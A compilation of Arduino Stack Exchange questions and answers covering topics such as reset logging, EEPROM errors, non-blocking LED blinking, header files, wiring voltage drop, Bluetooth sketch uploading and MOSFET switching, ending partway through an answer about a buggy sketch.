This is the code for logging Arduino RESET and WDT RESET. Plus the code for resetting the J-K Flip-Flop.

```
 /////////////// J-K Flip-Flop 74HC73,  Status of Q Monitor ///////////////////////////////////////

 delay(10);

 getDateTime();

 if(value == 1)
 {

      //Creates an entry in "Server.txt" for every RESET cause by "Dual Watchdog Timer"
      SdFile serverFile;
      serverFile.open("Server.txt", O_RDWR | O_CREAT | O_APPEND);

      if (!serverFile.isOpen()) error("Watchdog Start Server");

      serverFile.println("Watchdog RESET:  " + dtStamp);
      serverFile.close();
      Serial.print("Watchdog RESET  ");
      Serial.println(dtStamp + "  ");
      Serial.println("Listening for connections...  ");
      //Serial.println(value);

 }
 else
 {

      //Creates an entry in "Server.txt" for every RESET; caused by opening Serial Monitor
      SdFile serverFile;
      serverFile.open("Server.txt", O_RDWR | O_CREAT | O_APPEND);

      if (!serverFile.isOpen()) error("Manual Start Server");

      serverFile.println("Manual RESET:  " + dtStamp);
      serverFile.close();
      Serial.print("Manual RESET  ");
      Serial.println(dtStamp + "  ");
      Serial.println("Listening for connections...  ");
      //Serial.println(value);

 }
 //Sends LOW to RESET the 74HCT73, JK Flip-flop
 digitalWrite(RESET, LOW);
 delay(10);
 digitalWrite(RESET, HIGH);
 delay(10);
 digitalWrite(RESET, LOW);

```

///////////////////////////////////////////////////////////////////////////////////////////////

William Lucid 12/22/2016
> 0 votes

---
Tags: hardware, reset
---


title: EEPROM library throwing errors

text:
# Question
Title: EEPROM library throwing errors
I've included in my sketch and am trying to run a simple sketch that just does EEPROM.write(0,4); followed by a println of EEPROM.read(0); However, it won't compile. It keeps telling me there is an error, and that I'm making a "request for member 'write' in something that is not a structure or a union". I'm using the Mega ADK. What am I doing wrong? I've also tried to go to sketch-\>include libraries and include the EEPROM library directly, still no joy. This is Arduino 1.6.13 on Windows 8, if it matters.

# Answer
> 2 votes
The problem had to do with data types. I was using an unsigned int as follows:

```
unsigned int addr = 0;
EEPROM.write(addr,5);

```

However, EEPROM.write requires an int, not an unsigned int, and this caused a compiler error.

---
Tags: eeprom
---


title: HTTP request not sending

text:
# Question
Title: HTTP request not sending
so I have a wifi shield and I am sending a web request, but its not going through. I know it's not the server because the other function of the program works properly. My code is available on pastebin

**EDIT:**

The request that is not working is on line 318

# Answer
You are lacking a space:

```
client.println((String)"GET /msg.php?action=send&ID=2&message=" += currentMessage += "HTTP/1.1");
                                                                                ^

```

Your HTTP is running in to the content of your message ending up with a corrupt request. Also you are doing appending within your strings (`+=`) when you don't need to (`+` is all that is needed). In fact, you don't even need that - just do multiple prints and reduce the hammering your heap is getting. Oh, and don't forget to use `F()`:

```
client.print(F("GET /msg.php?action=send&ID=2&message="));
client.print(currentMessage);
client.println(F(" HTTP/1.1"));

```
> 1 votes

---
Tags: wifi, shields, http
---


# Question
Title: Arduino IDE on Linux - directory not found
I have Ubuntu 14.04 installed on a chromebook through crouton. I'm trying to install the Arduino IDE. I figured out that I needed the 64-bit version of the IDE and downloaded it. Then, I started following the instructions given - I found the downloaded file, which was named `arduino-1.8.0-linux64.tar.xz`, opened it (this opened a new window in a program called Xarchiver, which listed the subfolders and files), and saw the `install.sh` file. When I right-clicked, there was no option to run it from the terminal, so I went back to the terminal and did `cd Downloads` and then tried to cd into the downloaded file. However, it said that there was no such directory. I listed the files in Downloads, and the downloaded file came up, listed in red.

How can I run the `install.sh` file? What am I doing wrong? Any help would be appreciated.

# Answer
> 2 votes
You need to extract the archive file first.

```
$ cd ~/Downloads
$ tar -Jxvf arduino-1.8.0-linux64.tar.xz

```

---
Tags: arduino-ide, linux
---


# Question
Title: New tab VS OOP : which is better in Arduino
In C++, I understand that you can "multi-file" program and in Arduino, open a new tab. This is what I mean by file. Then, there is **O**bject **O**riented **P**rogramming or OOP for short (like with a `.cpp` and `.h` file.

Which of these 2 is a better method for splitting your code into multiple files? OOP seems more popular, but is also harder, but is there any real benefits for it?

I'm new to the world of OOP so **please** write an answer like if you would explain it to a newb! Also, I'm quite adventurous and so don't let difficulty change you anwsers bias!

*For those that want to close this question as off-topic, note that SO closed it in less then 10 minutes.*

# Answer
`.cpp` and `.h` is *not* OOP. That is just splitting things into files. OOP is the use of classes and namespaces, etc. Those can be used just in one file alone.

What you are asking is actually is it better to make a *Library* or to have multiple files in your sketch. This has absolutely nothing to do with OOP.

In general:

* If you think you may need the code in other sketches then making it a library can be good.
* If it is distinct code that will only ever be used in the one sketch there is no point in going to the effort of making a library.

Once the code is compiled it makes little or no difference if it's in a "tab" or if it's in a "library".
> 3 votes

# Answer
These are two different techniques; one of programming, the other of managing files. They are independent of one another; you an apply either, both, or neither, as fits the situation.

A true OO design starts from the beginning of the project, finds the commonalities among the kinds of data that will be managed by the finished product, and abstracts away the most common of those into one or more base classes, from which the more specific classes will be derived. OOP is a whole course of study.

An OK first approximation is simply to create data objects as you go. This lets you hide private information - those details of the object that depend on how you implement that object, but aren't real attributes of the real-world object the data-object represents. This is sometimes called "C with classes".

Based on your statement that you are "new to the world of OOP", I expect this will be your most effective strategy.

Dividing your code into files or modules by grouping those functions dealing with, say, stepper motors into one pair of files (stepper.c++, stepper.h), and those dealing with ultrasonic sensors into another pair (usound.c++/.h), etc. is a perfectly good way to organize your code into files, once your body of code gets too big to keep it one file effectively. This doesn't necessarily hide the private, implementation information although you can do that, too, very effectively with file-level static variables and static functions.

C++ was originally implemented as a pre-processor that emitted pure C constructs from C++ syntax. Which means: Whatever you can do in C++, you could also do in C. The only difference is the details are all right there in the open for anyone to see. C++ puts more of them "behind the curtain".

If you have a good handle on writing C- or C++-with-classes, make good use of static variables and functions, and good choices about what might best be grouped with what into your separate files, you'll be pretty well prepared to take on the additional concepts of OOP.
> 1 votes

---
Tags: c++
---


# Question
Title: Arduino - Turn on LED when Potentionmeter is used
I'm very new to the Arduino/Microcontroller-world, so please be patient :)

I have 4 potentiometers and I want my LED to blink up, when one of these is beeing used.

So far., so good.. the potentiometers are sending singnals to my inputs A0-A3. In the code I read and buffer the values of send to the inputs, so when a new value is recieved (potentiometer is beeing used), the funcion `blinkLED()` is beeing triggered:

```
int ledPin = 13;

int pin[] =             {A0, A1, A2, A3};
int cc[] =              {20, 21, 22, 23};
int potiValues[] =      {0,  0, 0, 0};
int potiValuesTmp[] = {0, 0, 0, 0};

void setup() {
    Serial.begin(9600);
    pinMode(ledPin, OUTPUT);
}

void loop() {
    // READ EVERY PIN
    for(int i=0; i<=3; i++){
        potiValues[i] = map(analogRead(pin[i]), 0, 1023, 0, 127);
        if(potiValues[i] != potiValuesTmp[i]) {
            // NEW VALUE RECIEVED - MAKE OUTPUT
            Serial.println("Pin ");
            Serial.print(pin[i]);
            Serial.print(" - ");
            Serial.print("Value: ");
            Serial.print(potiValues[i]);
            blinkLED();
        }
        potiValuesTmp[i] = potiValues[i];
    }
}

void blinkLED() {
    digitalWrite(ledPin, HIGH);
    delay(1000);
    digitalWrite(ledPin, LOW);
}

```

It somehow works on the emulator `circuits.io`, but I'm not sure if I did it right(?) Maybe someone could have a look and tell me, what to improve?

**But my main question is:** When the function `blinkLED()` is triggered, there is this delay,.. does the whole `loop()`-function wait, too?

# Answer
> 1 votes
> When the function blinkLED() is triggered, there is this delay,.. does the whole loop()-function wait, too?

Yes, when you call a function it doesn't return until it is done, and `delay` is blocking.

You can rewrite a bit like this:

```
int ledPin = 13;

int pin[] =             {A0, A1, A2, A3};
int cc[] =              {20, 21, 22, 23};
int potiValues[] =      {0,  0, 0, 0};
int potiValuesTmp[] =   {0, 0, 0, 0};

void setup() {
    Serial.begin(9600);
    pinMode(ledPin, OUTPUT);
}

unsigned long lastFlash;
int flashesToGo;
const unsigned long flashTime = 50; // ms

void loop() {
    // READ EVERY PIN
    for(int i=0; i<=3; i++){
        potiValues[i] = map(analogRead(pin[i]), 0, 1023, 0, 127);
        if(abs (potiValues[i] - potiValuesTmp[i]) > 3) {
            // NEW VALUE RECEIVED - MAKE OUTPUT
            Serial.print("Pin ");
            Serial.print(pin[i]);
            Serial.print(" - ");
            Serial.print("Value: ");
            Serial.println(potiValues[i]);
            flashesToGo = 10;
            potiValuesTmp[i] = potiValues[i];
        }
    }

   // flash LED if required

   if (flashesToGo > 0)   // need more flashing?
      {
      // is it time to toggle the LED?
      if (millis () - lastFlash >= flashTime)
        {
        // toggle LED
        if (digitalRead (ledPin) == HIGH)
          digitalWrite (ledPin, LOW);
        else
          digitalWrite (ledPin, HIGH);
        // remember when we did it
        lastFlash = millis ();
        // count down
        flashesToGo--;  // one less flash
        } // end of time for another flash
      }
   else
     digitalWrite (ledPin, LOW);  // ensure LED off

}

```

What this does is add to the main loop a few lines of code that toggle the LED after a certain time is up (50 ms currently). It counts down the number of toggles from a desired starting point (eg. 10) until they are all done. This means that the LED will flash without blocking.

Each time you detect a new analog reading the number of flashes is reset back to the maximum.

---

I modified your test for if the analog reading changed to be:

```
if(abs (potiValues[i] - potiValuesTmp[i]) > 3)

```

I found that without that, the LED flashed continually because the readings were slightly different each time (eg. 51, 52, 51, 50) which would probably just be error in the ADC reading.

With that change, it doesn't count as "changed" unless the reading changes by 3 (you could make it more, or less than that).

---

> I want the LED to blink up just once - when I turn one of the potentiometers

In that case change:

```
flashesToGo = 10;

```

to:

```
flashesToGo = 2;

```

That is one HIGH and one LOW (one flash in total).

# Answer
> 0 votes
Yes, the main loop (aka void loop) will have to wait during the delay. One method of escaping that problem is to use the `millis()` function. There is an example code called "blinkWithOutDelay" (or something like that). It pretty much uses the ATmega's internal timer. This method is more for advanced users. The `millis()` functions is will return you the number of milliseconds since the start of your program.

Also, potentiometers are always in use. They will report back data everytime. Its not like if it had too fixed states like ON or OFF. So the problem is that they are all in used at the same time. You might consider changing the values of `potiValuesTmp`. My varying that variable, you can make it so that at least one potentiometer has to be higher then a certain point.

---
Tags: arduino-uno, led, potentiometer, digital-in
---


title: About Arrays in Arduino

text:
# Question
Title: About Arrays in Arduino
I have a question about arrays in Arduino. Sorry for my bad English. I want to put numbers in an array, and I think the code below works properly.

However, it doesn't work and corrupted numbers show up in the Serial monitor. Even `delay(1000)` doesn't work.

If I change `ND_MAC[i]=128;` to "ND\_MAC\[i\]=126;", it works properly. So I'm wondering if this array is char type, but I designate int to array. How to solve it?

```
int ND_MAC[7];
char i=0;
void setup() {
  Serial.begin(9600);
}
void loop() {
  for(i=0;i<8;i++){
    ND_MAC[i]=128;
    Serial.print(ND_MAC[i],HEX);
  }
  Serial.println();
  delay(1000);
}

```

# Answer
> 2 votes
For an array of size 7, the indexes start from `0` (`ND_MAC[0]`) and end at `6` (`ND_MAC[6]`) as @MikaelPatel commented.

So the solution to your issue would be changing the condition in for loop to

```
for(i=0;i<7;i++) //Changed 8 in your code to 7

```

Here, the loop iterates from i = 0 to 1 \< 7 (i.e., till 6) and it should work. :)

---
Tags: array
---


title: Barebones Arduino Zero with ATSAMD21G18

text:
# Question
Title: Barebones Arduino Zero with ATSAMD21G18
I have been using the ATmega328P TQFP32 chip for quite a while and I would like to try something new. I came across the ATSAMD21G18 used by Arduino Zero and M0. However, there aren't any information online regarding how to develop a standalone, very basic setup of it.

Previously, I have used...

* ATmega328P TQFP32
* For the crystal: 16Mhz and 22pF caps
* For bootloading: 10 11 12 13 for Arduino ISP
* For uploading programs: TX and RX of an Arduino Uno with its chip removed.

For the ATSAMD21G18, I am also looking for a similar setup. I checked out the Sparkfun Mini breakout schematics, but I am not good at reading them and there seems to be a lot of components just for protection and to make it more stable, which I don't need as you can probably know from the setup I used for the 328.

https://cdn.sparkfun.com/datasheets/Dev/Arduino/Boards/sparkfun-samd21-mini-breakout-v10.pdf

What are the basic required components for it to work properly?

For bootloading, am I required to use the Atmel Ice? If so, what are the pins and components needed for burning the Arduino Zero bootloader?

For uploading a program, am I required to use the USB functionality built in? How can I use it (components pins and connections)? Can I use Arduino ISP using an Arduino Zero?

Finally, what should I bear in mind when switching from an ATmega328P to an ATSAMD21G18?

Thanks in advance!

# Answer
This seems to be the simples form of the Arduino M0 I could find.

From this tutorial site

The ICE programmmer makes it very easy to program and all you need is the SWD pins to program the bootloader.

ISP is for AVR chips where as with ARM chips like SAMD21 you will need to use JTAG/SWD to program it.

I am also try to make a home brew Zero but I am getting stuck after the bootloader where the board just does not want to expose a Serial port.
> 3 votes

---
Tags: atmel
---


title: Collection of functions for arduino IDE

text:
# Question
Title: Collection of functions for arduino IDE
I am having troubles creating a collection of functions to be used in Arduino sketches and libraries. What I want is not a class, but simply a group of functions which do not require an object to be called; general utilities that can be helpful in any Arduino sketch, like an average of analog reads, or a little statistical tool.

Suppose I write a file called Utilities.h (I am not sure .h is the right extension to use in this case):

**Utilities.h**

```
#ifndef Utilities_h
#define Utilities_h
#include <Arduino.h>

void utility1(...){
...
}

float utility2(...){
...
}

//and so on

#endif

```

I then save this file in `../Arduino/libraries/Utilities`. Whenever I want to use my utilities from this file directly in a sketch I type `#include`the full path to the file (`#include <Utilities.h>` won't work).

The real problem is if I want to use this collection of functions in a library, like in the following example.

**myClass.h**

```
#ifndef myClass_h
#define myClass_h
#include "full path to Utilities.h"

class myClass{
 private:
  int a;
 public:
  myClass();
};

#endif

```

**myClass.cpp**

```
#include "myClass.h"

myClass::myClass(){
 a = utility2(...);
}

```

Whenever I try to `#include <myClass.h>` in my sketches and compile, I get 'multiple definition' error messages for the functions on my `Utilities.h`.

So to summarize, my question is: how can I create a collection of functions that can be used both in a sketch and in a library for Arduino?

# Answer
You need to "split" your library.

Placing full functions inside a header file (`.h`) is bad form and causes the exact problem you are seeing. Every time you include the header file you create an entirely new copy of the function. This can only work if the functions are `static`, which means that they exist, and are contained entirely within, the function in which the header is included in. All outside access to them is completely cut off and they become "local" to the file. That means you can have multiple copies of them in one program. However that is wasteful of space since you are duplicating your code.

Instead you need to have the code itself in a `.cpp` file, which gets compiled separately and then linked with your sketch at the end of compilation, and just pointers to the functions you have written in your `.h` file.

## Utilities.h:

```
extern void myFunction();

```

## Utilities.cpp:

```
void myFunction() {
    blah blah
}

```

The `.h` file just contains a *prototype* for the functions which tells the compiler that "This function is defined elsewhere. Find it later on when you link."

It's only the `.h` file that is included in libraries and sketches, etc, so only the prototype that is duplicated between files. The `.cpp` is compiled separately and thus only compiled the once, so you don't get the code duplicated.

One caveat with this is that your sketch must include the library you have written so that the IDE knows to look for `.cpp` files within it to compile. And you must use `#include <Utilities.h>` for it to be able to work that out. Using a full path rather than just `<Utilities.h>` means that you break all portability and the IDE may not know to look for `.cpp` files in there, or even where to actually find it when compiling. Note as well that the IDE needs to be restarted after creating a new library, which is why it may not be able to find it in your experiments.
> 6 votes

---
Tags: library, ide
---


# Question
Title: Should I use LLC to power sensors on grid pcb at 4mtr wire length distance?
I have setup a grid pcb that further distributes power and receive signal from sensors, I know low voltage can detroit if not damage sensors , so I am thinking to put BD-LLC to distribute power output to 6 sensors connected to PCB shown below. \[ignore 24 volt power that feeds solenoid it is separate and comes from power adapter not from mega though the wire has same red colour\] the 5 volt wire connecting to main connector from other connector is not visible.

And I have Arduino Mega from which I am drawing power 5 volt (using digital multimeter I found it's 4.98 volt). And all sensors are connected to this 5volt parallely. So the question is should I put thisBD-LLC on above PCB to distribute correct power output to sensors ?

# Answer
> 0 votes
Transmitting power over longer distances requires careful consideration. The actual voltage you will get at the remote end depends on two major factors:

* The resistance of the wire, and
* The current draw of the remote device

If you regulate your 24V incoming power down to 7V for the Arduino and then send the Arduino's 5V over 4m of wire to power your remote board the actual voltage the board will receive depends on the amount of current the board draws.

If this current is tiny then the voltage drop for the wire will be small and can largely be ignored. For instance, you quote about 3Ω resistance for 4m of wire, which to me seems incredibly high (32AWG which is like hair thin is only ~0.5Ω/m), but anyway. If your board draws 100mA, over your 4m wire, which is actually 8m when you take into account the length of the ground wire ("There and back again - an electron's tale.") you would drop (2\*3Ω)\*0.1 = 6\*0.1 = 0.6V, so your 5V would turn to 4.4V by the time your board sees it. Not only that but the ground wire would be offset at the board end by 0.2V, which may impact LOW logic level detection.

So ideally you need to both minimise and mitigate that voltage drop. And both can be done using a *buck* regulator at the board and powering it from the 24V supply instead of 5V.

By using a buck regulator you massively reduce the current over the wire (for 24V to 5V you could be looking at around a quarter of the current or even less, depending on the efficiency of the regulator) which reduces the voltage drop on both the power and ground wires. It also guarantees that the board runs at 5V regardless of the current draw of the board.

Here's a diagram:

For digital sensors this loss of voltage could cause damage if any incoming logic signals are above the absolute maximum for the sensor (which is usually a function of the supply voltage, say Vcc + 0.3V). For analog sensors it will affect the values you are reading, since the voltage emitted from the sensor is often a function of the supply voltage, and if that is not what you expect it to be your calculations from the ADC values will be incorrect.

---

To answer your original question "can I use a LLC to distribute power" the answer is "no". The LLC can allow you to interface logic signals between two different voltage levels, but not affect power at all. And further more it requires that you have both voltages availabe for the LLC to operate, and you don't have both voltages, you only have the 5V minus the wire's voltage drop available, so you can't use it to mitigate any offset in the logic levels either.

---
Tags: arduino-mega, voltage-level, convert
---


# Question
Title: Why does an `.ino` file have to be in a folder of the same name?
I'm trying to organise a very complicated project and I want to put all the actual code in a folder named `src` (source), but I want to keep the main `.ino` file as `main.ino` (it will also be in `src`). Then when I try to open the code, the IDE says that `main.ino` has to be in a folder named `main`.

**Why is this?**

I fully understand the error message, but why does the file naming in Arduino has to be so. Is there a way to change that?

# Answer
> 6 votes
AFAIK, that is a quirk built into the Arduino IDE. The best workaround I can think of is a file structure something like:

```
ArduinoWorkspace --- /myproj/ ----+ /src/ --------+ myproj.cpp
                                  + myproj.ino    + sensor.h
                                                  + sensor.cpp
                                                  + (more files)

```

, where myproj.cpp just `#include`'s main.cpp. This should leave your project files "clean" such that they should work in a more typical environment as well.

Update:

I borrowed the name "main" from your question, but on reflection, "main" is a reserved name, specifically, every C or C++ program has a main.c or main.cpp as its top level code, provided by the system if you don't provide one. So I avoided using that as the folder- and project-name (but feel free to try it) and I've updated the diagram. What you do need is a project folder and a .ino file within it, of the same name. The .ino file could

```
#include <src/anything-else-you-like>

```

, e.g., your top level code file, thus pulling everything else. You may need for your .ino to `#include` each of the files in the `src` folder, if it the compiler doesn't figure out on its own, that that's where your other files are.

BTW, if you do use the name main.cpp for your top file, it will have to call the setup() and loop() functions (and serial event function, if you use that). It's probably best to leave the name 'main' alone, let the system provide the same main every Arduino program gets by default, and write your project code the typical Arduino way -- starting with setup() and loop().

# Answer
> 4 votes
When you have a project made up of a number of `.INO` files, how is the IDE supposed to know which is the "main" one? During compilation the IDE concatenates all the `.INO` files together into one monolithic file. It does this starting with the "main" one and then appends each of the others alphabetically to the end.

It is done this way so that your includes and global variables, which you should put in your "main" `.INO` file, are at the start of the finished program.

In order to do this the IDE has to know which of the files is the "main" one. And the way it works that out is by finding the one which is named the same as the folder the sketch is in.

In UECIDE I take it a step further and turn the whole folder into a *compound document* so you no longer have to enter a folder and open a `.INO` file to open a sketch - the actual folder itself is the whole sketch project. Again this kind of folder is identified as having a `.INO` file within it that is named the same as the folder.

---
Tags: arduino-ide
---


# Question
Title: Programming arduino via bluetooth module issue
I followed a tutorial on how to setup arduino and bluetooth so it can be programmed without usb cables. I didn't use capacitors or resistors asthere doesn't seem to be a need for them. I have the serial output appearing on arduino serial console via bluetooth (no usb cable connected). Since the is a working connection that means it is working to a point. However when trying to upload I get "avrdude: stk500\_getsync(): not in sync: resp=0x4c" error.

I didn't connect pin 32 of hc-05 to arduino reset pin yet, could that be the issue? I don't actually need arduino to be reset since I can just kill the power to it manually at least for now. I also used 9600 as baud rate instead of 115200 as in the tutorial, because my arduino code used 9600 but maybe I misunderstood this and it actually needs to be 115200 regardless or my baud rate in arduino code?

What else could be the cause?

Edit 1:

From the answer by @sachleen I changed the baud rate as per the tutorial and soldered pin 32 of the hc-05 module to rst pin of arduino.

After baud rate change opening arduino serial console no longer outputs anything. Why did this happen? I was getting serial output before when baud rate of hc-05 was 9600.

After soldering the rst pin arduino also seems to reset after serial console is opened. I did not add the capacitor, is it required and if so why? I also excluded resistors since it seems they are only for voltage reduction from 5v to 3V (my arduino is 3.3V version).

# Answer
> 3 votes
I wrote the tutorial you were following so maybe I can help. When I was building the circuit initially I used some of the other tutorials out there on Arduino Bluetooth programming which don't have a lot of the extra resistors and capacitor. However, I couldn't get any of those to work reliably. Using a circuit simulator and some trial and error, I ended up with the circuit shown in the tutorial which worked for me.

While there "doesn't seem to be a need for" some of the extra passives, if your circuit doesn't work without them, perhaps there is a need for them after all? ;-) Now, I have heard from other people that they were able to leave out certain bits so it seems that there is some variability in the hardware. But we're talking four passives to ensure reliable operation, so why leave them out?

Anyway, a couple of points:

1. Pin 32 on the HC-05 becomes active upon Bluetooth connection. We configure the pin to be active low so we can use it to auto-reset the Arduino upon serial connection to emulate what happens with the normal USB connection. You can leave out the connection to pin 32 only if you want to have to manually reset the Arduino to program it.
2. The 115200 baud rate is the rate for programming the Arduino and is set by the Arduino bootloader. It is possible to re-flash the bootloader with a different configuration if you needed to for some reason.

So, the programming baud rate is fixed in the bootloader, but the communication baud rate is configurable in software using `Serial.begin()`. However, the HC-05's baud rate has to be the same as the Arduino's, so you need to stick with the same baud rate for both programming and communication (115200 by default).
3. There are two resistors involved with the reset, R3 and R2. I believe R2 is only necessary for 5V Arduinos to act as a voltage divider with R3. However, R3 should be included for any voltage Arduino. See this Atmel design note \- "The reset line has an internal pull-up resistor, but if the environment is noisy it can be insufficient and reset can therefore occur sporadically ... This pull-up resistor makes sure that reset does not go low unintended." R3 should be 4.7k or greater; most designs stick with 10k.
4. The capacitor C1 is necessary because Pin 32 stays low the entire time Bluetooth is connected. If you connect RST to Pin 32 directly, the Arduino will just stay reset until the Bluetooth connection drops and nothing will work just as if you held down the reset button and never let go.

With C1 in place, when Pin 32 goes low it will momentarily discharge C1, pulling RST low and resetting the Arduino. C1 will immediately begin charging through R3 back up to VCC which will restore RST to high, bringing the Arduino out of reset. The values of R3 and C1 affect the timing of the reset and must be chosen appropriately.
5. Don't forget R1. I can't remember the reason it is helpful, but it has something to do with the Arduino/Atmel UART. I found the recommendation for adding it one day on an Atmel discussion board and it has solved a non-working circuit for me many times.

Hope that helps!

# Answer
> 1 votes
Both of those things will cause issues.

It needs to reset when its downloading a new sketch. You can manually reset it at just the right moment, but if you don't get the timing right, you'll get that issue.

The baud rate you set in your code for serial communication becomes irrelevant when you're loading a new sketch as that's set in the bootloader. Keep it at 115200 like the tutorial suggests.

# Answer
> 1 votes
Have you got the TX from the Bluetooth module linked to the RX pin of the Arduino?

If you have you need to unhook it whilst uploading. A better solution is not to use the TX RX pins of the Arduino and use serial software instead.

Here's a simple tut but it spreads over a few pages:

http://ianlangelectronic.webeden.co.uk/#/arduino-bluetooth/4583456314

A Bluetooth baud rate bigger than 9600 is not recommended. The Arduino struggles to keep up if it's much faster than this.

# Answer
> 1 votes
The baud rate depends on model of arduino you are using. For Pro-Micro; Pro-Mini and Nano that I use I had to change to 57600 baud as that is what the dll (downlineloader) avrdude forces this baud rate:

```
avrdude: Version 5.11, compiled on Sep  2 2011 at 19:38:36
     Copyright (c) 2000-2005 Brian Dean, http://www.bdmicro.com/
     Copyright (c) 2007-2009 Joerg Wunsch

     System wide configuration file is "C:\Program Files (x86)\Arduino\hardware/tools/avr/etc/avrdude.conf"

     Using Port                    : \\.\COM40
     Using Programmer              : arduino
     Overriding Baud Rate          : 57600

```

For Mega the overriding Baud Rate is 115200.

# Answer
> 0 votes
The easiest way to program your arduino via bluetooth (HC-05) is the following steps

1: change the baud rate of the bluetooth module to 57600 using software seriel, and that is all you need to do with your bluetooth, and when you use the software seriel sketch you do not need a ftdi converter, this is how you do it ( https://www.youtube.com/watch?v=zoJUAjW3vQ0 )

2: next step is to make a very simple and small circuit for the reset pin of your bluetooth module like the one in this youtube link ( the circuit I am talking about is a circuit made of a NPN transistor, a 0,01 capacitor and a 10 k resistor. the circuit is like a signal inverter or something. (https://www.youtube.com/watch?v=xXUKfTNHkKE). you will find the circuit in the middle of the video.

I have done it and it works,

thanks for reading Arman

---
Tags: serial, bluetooth, arduino-pro-mini
---


title: Arduino beginner question

text:
# Question
Title: Arduino beginner question
I just got a new pro-micro Atmega32U4 board, and installed the current Arduino IDE (1.8) and cannot get it working.

There is no entry for a pro-micro, so I chose Leonardo as it uses the same chip.

When I choose upload, the two red LEDs blink fast, but I get an error from avrdude, saying that it cannot upload the code.

The board is probably from a Chinese web shop ($6 clone). There are no buttons on the board.

My questions are:

* Is there already a bootloader on the chip, or do I have to program one? How do I check this?
* How does it know that it must receive an upload, instead of running the flash program?
* Which board should I choose in the IDE?

This is the error:

> Couldn't find a Board on the selected port. Check that you have the correct port selected. If it is correct, try pressing the board's reset button after initiating the upload.

It looks exactly like this one.

Update: I did everything the manual said. I can choose the pro-micro now. Still the same error message. How do I check what state the bootloader is in?

# Answer
There is an extensive guide written by SparkFun explaining how to work with Arduino Pro Micro: Pro Micro & Fio V3 Hookup Guide.

There are specific drivers for the board, so make sure you have them installed. There are also board files for the IDE, which allow you to select the Pro Micro in Arduino software.
> 3 votes

# Answer
I'm answering my own question. It works now. You must reset it (maybe twice) before you can upload software to it. I soldered a few wires to it for this. That did the trick.
> 0 votes

---
Tags: bootloader
---


# Question
Title: I have 4 motors connected to their own ESC (that is connected to a power distribution board), how do I connect this to Arduino uno? (Drone)
I am currently working with a bigger drone that I want to connect with an arduino uno.

The motor and ESC that are already soldered together and connected are these: https://hobbyking.com/en\_us/mt1806-brushless-combo-include-esc-5030cw-ccw.html

I have also connected it to a power distribution board where I succesfully can connect my 3s lipo battery.

What is currently missing is where I should put the 3 pins on each ESC onto the arduino board. So there are 12 pins in total.

The color on the 3 wires on each ESC are: yellow, red and brown.

Yellow is the signal if i am not mistaken and those should be connected on the PWM pins where I control each motor in the code.

When it comes to the red it is + power and should I ignore to connect these pins? I would like for my battery to power both the motors and the arduino so of course I would prefer to connect it to the arduino uno if it is possible.

# Answer
> 1 votes
Here are just some clarifications for you:

* Signal pins don't ***have*** to be connected to PWM pins. ***AFAIK***, any digital pins should work.
* **All** grounds togheter! Glad you got that right!
* Connect VCC of ESCs directly to the power supply.
* Connect power supply to VIn of Arduino (not 5V because you are going to grill it!)

---

**Uptdate**

* Yes, you can probably solder all the VCC wire of the ESCs togheter.
* By power supply, I meant connecting it directly to the battery.

---

* To power the Uno, connect the battery+ to the VIn pin of the UNO.

---
Tags: motor, drone
---


# Question
Title: Switch a 12V 3.3A component from an Arduino
I need turn off and turn on component from an Arduino UNO.

How can I do that? I am thinking about some transistor (IRF 530N) but I am not sure about it.

Please give me a beginner advice how to implement such a switch.

EDIT: Is this realy good for my problem?

# Answer
A relay, as pictured, is a good choice. It provides complete galvanic isolation and switches the power properly.

Another option is to use a MOSFET that can handle enough current (an N-channel switching the ground as a *low side* switch, or a P-channel switching the power which is itself switched by an N-channel, as a *high side* switch).
> 5 votes

# Answer
I've just bought a few STP16NF06L fets for this very purpose, N channel MOSFET.

The key part of that part number is the L at the end. This indicates low (or Logic) gate threshold, which means it will switch on fully at 5v gate drive, unlike most fets which are sort of conducting at 5v but need 10v to reach their specification (like an IRF530N).

The 16 and the 06 are 16 amps and 60 volts respectively.

You can get about 25 of them for the same price as a UNO, depending on supplier, in the UK here for instance
> 2 votes

---
Tags: arduino-uno, switch
---


# Question
Title: teensyduino with teensy LC: cannot include multiple files in sketch
I'm trying to get a rather large sketch working with a teensy LC. I'd like to break it into headers and C files, but the multi-file sketch fails to compile. When I put everything into a single, monolithic sketch, it runs fine. I've #included the h files where they are needed, using single quotes, and have confirmed that my h files are in the same folder as my sketch. Is there an additional step to go through specific to teensy? I've managed to do this tons of times using a standard arduino.

Here is a basic sketch:

This is the main sketch file:

```
   #include "tst.h"
void setup() {
  // put your setup code here, to run once:

}

void loop() {
  // put your main code here, to run repeatedly:
  doNothing();
}

```

This is tst.h

```
void doNothing();

```

This is tst.c

```
#include "tst.h"
void doNothing()
{
  int i = 0;
}

```

I get the error "undefined reference to doNothing() in function loop"

# Answer
> 1 votes
> I get the error "undefined reference to doNothing() in function loop"

The C++ compiler cannot find doNothing(). This is mainly due to the incomplete header file and mix of C and C++.

Two things are needed to avoid this type of problem; 1) protect the file from multiple includes (in the same compile), 2) make the function visible to the C++ compiler as a C function (without name mangling).

tst.h:

```
#ifndef TST_H
#define TST_H

#ifdef __cplusplus
extern "C"{
#endif

void doNothing();

#ifdef __cplusplus
} // extern "C"
#endif
#endif

```

Cheers!

---
Tags: teensy
---


# Question
Title: Value declared but not coming up as declared
```
void setup() {
// put your setup code here, to run once:
const int buttonPin2= 2;
const int buttonPin3= 3;
const int buttonPin4= 4;
const int buttonPin5= 5;
int total=0;
int wait=0;
int buttonState = 0;
pinMode(buttonPin2, INPUT);
pinMode(buttonPin3, INPUT);
pinMode(buttonPin4, INPUT);
pinMode(buttonPin5, INPUT);
}
void loop() {
int wait=5000;
while(wait>1)
  buttonState = digitalRead(buttonPin2);
  if(buttonState == HIGH){
    total=total+1
    wait=0
  }else{
    int wait=wait-1
  }
int wait=5000
int buttonState = 0;
while(wait>1)
  buttonState = digitalRead(buttonPin3);
  if(buttonState == HIGH){
     total=total+2
    wait=0
  }else{
    wait=wait-1
  }
int wait=5000
int buttonState = 0;
while(wait>1)
  buttonState = digitalRead(buttonPin4);
  if(buttonState == HIGH){
    total=total+4
    wait=0
  }else{
    wait=wait-1
  }
int wait=5000
int buttonState = 0;
while(wait>1)
  buttonState = digitalRead(buttonPin5);
  if(buttonState == HIGH){
    total=total+8
    wait=0
  }else{
    wait=wait-1
  }
int wait=5000
Serial.begin(9600)
while(0=0)
  Serial.println(total)
}

```

# Answer
There are many errors in this code. Below I have high-lighted some of them. Please check your C/C++ language reference(s).

```
void setup() {
// put your setup code here, to run once:
const int buttonPin2= 2;
const int buttonPin3= 3;
const int buttonPin4= 4;
const int buttonPin5= 5;
